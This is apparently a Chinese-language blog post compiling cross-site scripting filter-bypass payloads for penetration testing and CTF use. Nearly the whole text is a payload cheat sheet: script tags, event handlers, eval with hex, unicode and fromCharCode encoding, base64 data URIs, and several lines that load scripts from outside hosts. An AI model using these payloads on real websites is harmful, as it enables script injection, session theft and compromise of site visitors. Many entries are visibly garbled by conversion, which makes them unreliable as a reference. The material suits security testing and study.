Bypass XSS filter 过滤总结
in PENETRATIONCTF with 0 comment

Bypass XSS filter 过滤总结

in PENETRATIONCTF with 0 comment

把来自乌云知识库和吐司,九零的方法整理了一下

关于XSS的分类,原理等一些概念就不再累赘了,网上好多,想深入了解的话推荐《XSS跨站脚本攻击》《web前端黑客技术解密》《白帽子讲web安全之类的书》 不过还是要多练。这篇文章就暂时当作一个xss式的百科全书,做了一个搬运工。

初步尝试

(1)尝试插入比较正常的HTML标签,例如 <b>,<i>,<u>等来看返回页面情况,是否被HTML编码了,或者标签被过滤了。
(2)尝试插入不闭合的标签,例如:<b,<i,<u,<marquee然后看一下返回响应,是否对开放的标签也有过滤。
(3)然后测试几个XSS的payload

 <script>alert(1);</script>
 <script>prompt(1);</script>
 <script>confirm(1);</script>
 <script src="http://drops.org.cn/drop.js"></script>

看返回响应,看看那些被过滤了,一般情况下,上述的payload都会被过滤。

下面给出一些常用的测试payload

<script>alert(“xss”)</script>

<script>alert(/xss/)</script> //双引号换成斜杠

<script>alert(‘xss’)</script> //用单引号

<script>alert("xss");</script> //用分号

<script>alert(/xss/);</script> //组合使用

<script>alert("jdq") //标签自动补全

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分号

<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //空格+分号

<script>alert("xss");;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //换行符

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回车 `

单引号被过滤

<script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

【javascript伪协议】回旋

<a href="javascript:alert(/test/)">xss</a>

<script>被过滤↓

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签

alert被过滤

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

【img标记】

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>

on事件点击触发

onclick="alert('xss') //注意要用单引号 双引号不会触发

on事件-移动触发

Onmousemove="alert('xss')

【利用函数加密】
eval 函数配合编码

<script>eval(“js+16进制加密”)</script>

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>

编码要执行的语句↓

Alert(“xss”)

【unicode加密】

<script>eval("unicode加密")</script>

//js unicode加密 解决alert()被过滤

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

格式↓
标记eval(“编码”) 结束标记

【String.fromCharCod函数】

`String.fromCharCode需要配合eval来实现,

构造`

`<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行
不加引号,则是默认作为eval的其他参数语句来执
固定格式→<script>eval(String.fromCharCode编码内容))</script>`

【data协议运用】

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>

格式

Data:<mime type>,<encoded data>
Data //协议

<mime type> //数据类型
charset=<charset> //指定编码
[;base64] //被指定的编码
<encoded data> //定义data协议的编码
实际编码↓

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

base64编码要执行的内容
特点:不支持IE

【各种标签利用的payload】

<img src=javascript:document.write('<scr'+'ipt src=\'http://www.baidu.com/1.txt\'></scr'+'ipt>')></img>  //仅支持IE6
 
 
<img src=javascript:window.s=document.createElement('script');window.s.src='http://lcx.cc/1.js';document.body.appendChild(window.s);></img>  //仅支持IE6
 
 
<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss
 
<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss
 
 
<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
 
 
<input autofocus="bbbb" />
 
 
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object> 
 
<iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe>  ie不支持
 
<a href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>
 
<anchor>、<img>(不执行js) <a>(需点击) <meta>.....
 
<anchor onload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
 
<svg onload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">
 
<svg onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
 
<baa id="1" tabindex=0>
 
 
 
 
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
 
(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
 
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
 
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
 
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
 
(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
 
(7)formCharCode标签
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
 
(8)UTF-8的Unicode编码
<IMG SRC=jav..省略..S')>
 
(9)7位的UTF-8的Unicode编码是没有分号的
<IMG SRC=jav..省略..S')>
 
(10)十六进制编码也是没有分号
<IMG SRC=\'#\'" /span>
 
(11)嵌入式标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
 
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
 
(13)嵌入式换行符
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
 
(14)嵌入式回车
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
 
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\'#\'" /span>
 
(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
 
(17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
 
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
 
(19)Spaces和meta前的IMG标签
<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
 
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
 
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
 
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
 
(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
 
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
 
(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
 
(26)半开的HTML/JavaScript XSS
<IMG SRC=\'#\'" /span>
 
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
 
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
 
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
 
(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
 
(31)Input Image
<INPUT SRC=\'#\'" /span>
 
(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
 
(33)BODY标签
<BODY(‘XSS’)>
 
(34)IMG Dynsrc
<IMG DYNSRC=\'#\'" /span>
 
(35)IMG Lowsrc
<IMG LOWSRC=\'#\'" /span>
 
(36)BGSOUND
<BGSOUND SRC=\'#\'" /span>
 
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
 
(38)远程样式表
<LINK REL=”stylesheet” HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>
 
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
 
(40)IMG VBscript
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
 
(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
 
(42)Iframe
<IFRAME SRC=\'#\'" /IFRAME>
 
(43)Frame
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
 
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
 
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
 
(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
 
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
 
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
 
(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
 
(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
 
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
 
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
 
(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
 
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
 
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\'#\'" /span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>

这个是由shrimp兄弟在0217-06-20分享给我的,不需要<标记的xss代码。在部分环境下有效。
[\xC0][\xBC]script>alert('xss');[\xBC]/script>
Responses